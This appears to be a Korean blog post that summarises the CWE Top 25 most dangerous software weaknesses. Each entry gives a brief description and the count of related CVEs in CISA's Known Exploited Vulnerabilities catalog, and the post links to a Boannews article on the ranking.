※ CVE : 실제 익스플로잇 공격의 통로가 될 수 있는 특정 취약점에 부여된 번호
※ CWE : 그러한 취약점을 유발시킬 수 있는, 보다 보편적이고 넓은 개념의 소프트웨어 보안 약점

1위
- CWE-79 (XSS 공격을 가능하게 하는 취약점들이 포함)
- CISA의 KEV에는 이 항목에 해당하는 CVE 3건 포함

2위
- CWE-787 (아웃 오브 바운드 라이트(out-of-bounds write)’ 취약점)
- KEV에는 18건의 CVE가 포함

3위
- CWE-89 (SQL 요소를 주입할 수 있게 해 주는 취약점)
- KEV에는 4건의 CVE가 포함

4위 
- CWE-352 (CSRF 공격을 가능하게 하는 취약점)
- KEV에는 CVE 존재하지 않음

5위
- CWE-22 (경로 탐색과 관련된 취약점)
- KEV에는 4건의 CVE가 포함

6위
- CWE-125 (아웃오브바운드 리드(out-of-bounds read) 취약점)
- KEV에는 3건의 CVE가 포함

7위
- CWE-78 (OS 명령을 주입할 수 있게 해 주는 취약점)
- KEV에는 5건의 CVE가 포함

8위
- CWE-416 (UaF(Use-after-Free) 취약점)
- KEV에는 5건의 CVE가 포함

9위
- CWE-862 (권한 인증을 누락시키는 취약점)
- KEV에는 CVE 존재하지 않음

10위
- CWE-434 (파일 업로드를 제한하지 못하거나 안 하는 취약점)
- KEV에는 CVE 존재하지 않음

11위
- CWE-94 (코드가 생성되는 걸 적절히 제어하지 못해서 생기는 문제들로 코드 주입 취약점)
- KEV에는 7건의 CVE가 포함

12위
- CWE-20 (사용자가 입력한 값의 적절성을 제대로 검증하지 않는 취약점) - KEV에는 1건의 CVE가 포함

13위
- CWE-77 (명령 주입 취약점)
- KEV에는 4건의 CVE가 포함

14위
- CWE-287 (인증을 부적절하게 처리하는 문제)
- KEV에는 4건의 CVE가 포함

15위
- CWE-269 (권한 관리와 관련된 문제)
- KEV에는 CVE 존재하지 않음

16위
- CWE-502 (데이터 역직렬화의 신뢰와 관련된 문제)
- KEV에는 5건의 CVE가 포함

17위
- CWE-200 (민감한 정보를 인증 과정 없이 노출시키는 취약점)
- KEV에는 CVE 존재하지 않음

18위
- CWE-863 (권한 인증을 부적절하게 처리하는 취약점)
- KEV에는 2건의 CVE가 포함

19위 
- CWE-918 (서버 측 요청 위조(SSRF) 공격을 가능하게 하는 취약점)
- KEV에는 2건의 CVE가 포함

20위
- CWE-119 (매모리 버퍼 바운드 내에서 작업 제한에 실패할 때 나타나는 취약점)
- KEV에는 2건의 CVE가 포함

21위
- CWE-476 (널 포인터 역참조 문제)
- KEV에는 CVE 존재하지 않음

22위
- CWE-798 (하드코딩 된 크리덴셜 문제들)
- KEV에는 2건의 CVE가 포함

23위
- CWE-190 (정수 오버플로우가 발생했을 때 나타나는 취약점)
- KEV에는 3건의 CVE가 포함

24위
- CWE-400 (자원 소비를 제대로 제어하지 못해서 발생하는 문제)
- KEV에는 CVE 존재하지 않음

25위
- CWE-306 (인증을 누락시키는 것과 관련된 문제)
- KEV에는 5건의 CVE가 포함
기타 -

 

보안뉴스

 

가장 위험한 소프트웨어 보안 문제는 무엇일까? 25개를 꼽았더니

소프트웨어는 우리의 삶을 여러 가지 면에서 편리하게 해 주기도 하지만 반대로 생각하지도 못한 방법으로 우리를 위험하게 만들기도 한다. 이 때문에 많은 국가, 산업, 기업들에서 소프트웨어

www.boannews.com

 

+ Recent posts